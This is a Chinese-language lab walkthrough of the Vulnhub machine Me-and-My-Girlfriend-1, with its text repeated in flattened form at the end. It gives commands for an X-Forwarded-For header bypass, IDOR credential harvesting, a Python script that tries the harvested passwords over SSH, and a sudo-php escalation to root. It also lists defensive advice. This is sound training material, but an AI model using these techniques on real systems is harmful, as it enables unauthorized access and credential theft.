打靶日记--Me-and-My-Girlfriend-1
字数 1224 2025-08-29 22:41:38

Me-and-My-Girlfriend-1 靶机渗透教学文档

靶机概述

这是一个经典的Vulnhub靶机,适合初学者练习渗透测试技能。靶机难度较低,主要涉及以下技术点:

  • 信息收集
  • HTTP头部伪造
  • 水平越权
  • SSH登录利用
  • SUID提权

详细渗透步骤

1. 信息收集阶段

主机发现

使用nmap进行主机发现:

nmap -sn 192.168.1.0/24

端口扫描

发现靶机开放端口:

nmap -sV -p- 192.168.1.xxx

扫描结果显示靶机开放了22(SSH)和80(HTTP)端口。

漏洞扫描

执行nmap自带的简单漏洞扫描:

nmap --script vuln 192.168.1.xxx

2. Web应用渗透

初始访问

访问80端口网站,首页显示"你不是本地的不能访问"提示,暗示需要本地访问权限。

绕过访问限制

  1. 查看网页源码,发现提示需要使用X-Forwarded-For头部
  2. 尝试修改请求头,添加以下可能的X-Forwarded-For值:
    • 127.0.0.1
    • local
    • localhost
    • 0.0.0.0
  3. 发现localhost值可以成功绕过限制

Burp Suite配置方法

  1. 打开Burp Suite
  2. 进入Proxy -> Options
  3. 在"Match and Replace"部分添加新规则:
    • Type: Request header
    • Match: ^X-Forwarded-For:.*
    • Replace: X-Forwarded-For: localhost
  4. 启用该规则

用户注册与登录

  1. 注册一个新账户
  2. 登录后发现URL中包含user_id参数,形如:
    http://target/profile.php?user_id=1
    

水平越权漏洞利用

  1. 修改user_id参数值,尝试访问其他用户信息
  2. 发现可以查看其他用户资料
  3. 在页面源码中可找到其他用户的明文密码

3. SSH登录利用

  1. 通过水平越权收集到的用户名和密码
  2. 尝试使用这些凭据通过SSH登录:
    ssh username@target
    
  3. 发现alice账户可以成功登录(对应user_id=5

自动化脚本思路(Python示例):

import requests
import paramiko
import re

# 获取用户凭证
def get_credentials():
    for i in range(1, 11):
        url = f"http://target/profile.php?user_id={i}"
        response = requests.get(url)
        # 使用正则提取用户名和密码
        username = re.search(r"Username: (.*?)<", response.text).group(1)
        password = re.search(r"Password: (.*?)<", response.text).group(1)
        try_ssh_login(username, password)

# 尝试SSH登录
def try_ssh_login(username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect('target', username=username, password=password)
        print(f"Success! Username: {username}, Password: {password}")
        ssh.close()
        return True
    except:
        print(f"Failed for {username}")
        return False

get_credentials()

4. 权限提升

  1. 登录alice账户后,检查SUID权限:

    find / -perm -4000 2>/dev/null
    

    sudo -l
    
  2. 发现可以以root权限运行php:

    sudo -l
    

    输出可能包含:

    (root) NOPASSWD: /usr/bin/php
    
  3. 利用php执行特权命令:

    sudo php -r "system('/bin/bash');"
    

    sudo php -r "pcntl_exec('/bin/bash', ['-p']);"
    
  4. 成功获取root shell

关键知识点总结

  1. HTTP头部伪造X-Forwarded-For常用于识别客户端原始IP,可被用于伪造来源
  2. 水平越权:通过修改ID参数访问其他用户数据,属于不安全的直接对象引用(IDOR)漏洞
  3. 凭证重用:Web应用中的密码可能被用于系统登录,需测试密码重用情况
  4. SUID提权:检查具有SUID位的程序,特别是可以执行命令的解释器(如php、python等)

防御建议

  1. 对敏感操作实施严格的权限检查
  2. 不要在前端源码中暴露敏感信息或提示
  3. 使用会话管理而非URL参数识别用户
  4. 实施最小权限原则,限制SUID程序
  5. 避免密码明文存储和传输
  6. 对用户输入进行严格过滤和验证

扩展练习

  1. 尝试编写自动化脚本完成整个渗透过程
  2. 探索其他可能的提权路径
  3. 尝试不使用php的提权方法
  4. 思考如何防御此类攻击链
Me-and-My-Girlfriend-1 靶机渗透教学文档 靶机概述 这是一个经典的Vulnhub靶机,适合初学者练习渗透测试技能。靶机难度较低,主要涉及以下技术点: 信息收集 HTTP头部伪造 水平越权 SSH登录利用 SUID提权 详细渗透步骤 1. 信息收集阶段 主机发现 使用nmap进行主机发现: 端口扫描 发现靶机开放端口: 扫描结果显示靶机开放了22(SSH)和80(HTTP)端口。 漏洞扫描 执行nmap自带的简单漏洞扫描: 2. Web应用渗透 初始访问 访问80端口网站,首页显示"你不是本地的不能访问"提示,暗示需要本地访问权限。 绕过访问限制 查看网页源码,发现提示需要使用 X-Forwarded-For 头部 尝试修改请求头,添加以下可能的 X-Forwarded-For 值: 127.0.0.1 local localhost 0.0.0.0 发现 localhost 值可以成功绕过限制 Burp Suite配置方法 : 打开Burp Suite 进入Proxy -> Options 在"Match and Replace"部分添加新规则: Type: Request header Match: ^X-Forwarded-For:.* Replace: X-Forwarded-For: localhost 启用该规则 用户注册与登录 注册一个新账户 登录后发现URL中包含 user_id 参数,形如: 水平越权漏洞利用 修改 user_id 参数值,尝试访问其他用户信息 发现可以查看其他用户资料 在页面源码中可找到其他用户的明文密码 3. SSH登录利用 通过水平越权收集到的用户名和密码 尝试使用这些凭据通过SSH登录: 发现 alice 账户可以成功登录(对应 user_id=5 ) 自动化脚本思路 (Python示例): 4. 权限提升 登录alice账户后,检查SUID权限: 或 发现可以以root权限运行php: 输出可能包含: 利用php执行特权命令: 或 成功获取root shell 关键知识点总结 HTTP头部伪造 : X-Forwarded-For 常用于识别客户端原始IP,可被用于伪造来源 水平越权 :通过修改ID参数访问其他用户数据,属于不安全的直接对象引用(IDOR)漏洞 凭证重用 :Web应用中的密码可能被用于系统登录,需测试密码重用情况 SUID提权 :检查具有SUID位的程序,特别是可以执行命令的解释器(如php、python等) 防御建议 对敏感操作实施严格的权限检查 不要在前端源码中暴露敏感信息或提示 使用会话管理而非URL参数识别用户 实施最小权限原则,限制SUID程序 避免密码明文存储和传输 对用户输入进行严格过滤和验证 扩展练习 尝试编写自动化脚本完成整个渗透过程 探索其他可能的提权路径 尝试不使用php的提权方法 思考如何防御此类攻击链